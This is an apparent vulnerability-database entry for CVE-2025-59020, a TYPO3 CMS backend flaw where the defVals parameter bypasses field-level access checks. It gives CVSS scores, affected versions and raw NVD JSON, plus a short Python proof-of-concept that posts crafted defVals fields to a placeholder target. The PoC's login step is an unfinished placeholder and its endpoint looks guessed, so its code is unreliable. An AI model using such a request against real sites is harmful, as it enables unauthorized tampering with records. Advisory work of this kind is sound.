Security Vulnerability Report
中文
CVE-2025-59020 CVSS 6.5 MEDIUM

CVE-2025-59020

Published: 2026-01-13 12:15:50
Last Modified: 2026-01-14 19:15:16
Source: f4fb688c-4412-4426-b4b8-421ecf27b14a

Description

By exploiting the defVals parameter, attackers could bypass field‑level access checks during record creation in the TYPO3 backend. This gave them the ability to insert arbitrary data into prohibited exclude fields of a database table for which the user already has write permission for a reduced set of fields. This issue affects TYPO3 CMS versions 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 and 14.0.0-14.0.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
TYPO3 CMS 10.0.0 - 10.4.54
TYPO3 CMS 11.0.0 - 11.5.48
TYPO3 CMS 12.0.0 - 12.4.40
TYPO3 CMS 13.0.0 - 13.4.22
TYPO3 CMS 14.0.0 - 14.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59020 PoC - TYPO3 CMS defVals Access Control Bypass # This PoC demonstrates how to exploit the defVals parameter to bypass field-level access checks import requests import json TARGET_URL = "https://vulnerable-typo3-site.com/typo3/" USERNAME = "attacker" PASSWORD = "password" def exploit_cve_2025_59020(): """ Exploit the defVals parameter to insert arbitrary data into prohibited exclude fields """ # Step 1: Authenticate to TYPO3 backend session = requests.Session() login_url = TARGET_URL + "ajax.php?ajaxID=login&token=..." # Step 2: Prepare malicious request with defVals parameter # The attacker has write permission for 'title' field but NOT for 'author' field exploit_data = { "defVals[tx_myextension_domain_model_item][title]": "Authorized Title", "defVals[tx_myextension_domain_model_item][author]": "Unauthorized Author Value", # Excluded field "defVals[tx_myextension_domain_model_item][hidden]": "1", # Another excluded field "table": "tx_myextension_domain_model_item", "cmd[tx_myextension_domain_model_item][create]": "0" } # Step 3: Send crafted request to bypass access control create_url = TARGET_URL + "ajax.php?ajaxID=record_process::process" response = session.post(create_url, data=exploit_data) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") # Step 4: Verify if the excluded field was modified # If successful, the attacker has modified data they shouldn't have access to return response if __name__ == "__main__": print("CVE-2025-59020 TYPO3 defVals Access Control Bypass PoC") print("=" * 60) exploit_cve_2025_59020()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59020", "sourceIdentifier": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "published": "2026-01-13T12:15:49.913", "lastModified": "2026-01-14T19:15:16.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "By exploiting the defVals parameter, attackers could bypass field‑level access checks during record creation in the TYPO3 backend. This gave them the ability to insert arbitrary data into prohibited exclude fields of a database table for which the user already has write permission for a reduced set of fields. This issue affects TYPO3 CMS versions 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 and 14.0.0-14.0.1."}, {"lang": "es", "value": "Al explotar el parámetro defVals, los atacantes podrían eludir las comprobaciones de acceso a nivel de campo durante la creación de registros en el backend de TYPO3. Esto les dio la capacidad de insertar datos arbitrarios en campos de exclusión prohibidos de una tabla de base de datos para la cual el usuario ya tiene permiso de escritura para un conjunto reducido de campos. Este problema afecta a las versiones de TYPO3 CMS 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 y 14.0.0-14.0.1."}], "metrics": {"cvssMetricV40": [{"source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.4.55", "matchCriteriaId": "1F66D2E5-38C1-4708-BBEA-6963B2AFEA8B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.5.49", "matchCriteriaId": "9E718BBF-B384-4223-A53D-528F77E17DC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.4.41", "matchCriteriaId": "D330992D-8C99-458A-A139-47407B4BBB66"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.4.23", "matchCriteriaId": "AA2179C6-E438-4413-A717-9112618BA6CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndExcluding": "14.0.2", "matchCriteriaId": "310C5FCB-6F96-4409-BB9A-E582E18E067A"}]}]}], "references": [{"url": "https://github.com/TYPO3/typo3/commit/ac3f792bd5ab7c58153fc1075cb9e001c9cebe3b", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ["Patch"]}, {"url": "https://github.com/TYPO3/typo3/commit/cd11a19958d823d12d028f9345b41739c7e70118", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ["Patch"]}, {"url": "https://github.com/TYPO3/typo3/commit/fb98378a8fd30dd50d89a3d1a420780819f38232", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ... (truncated)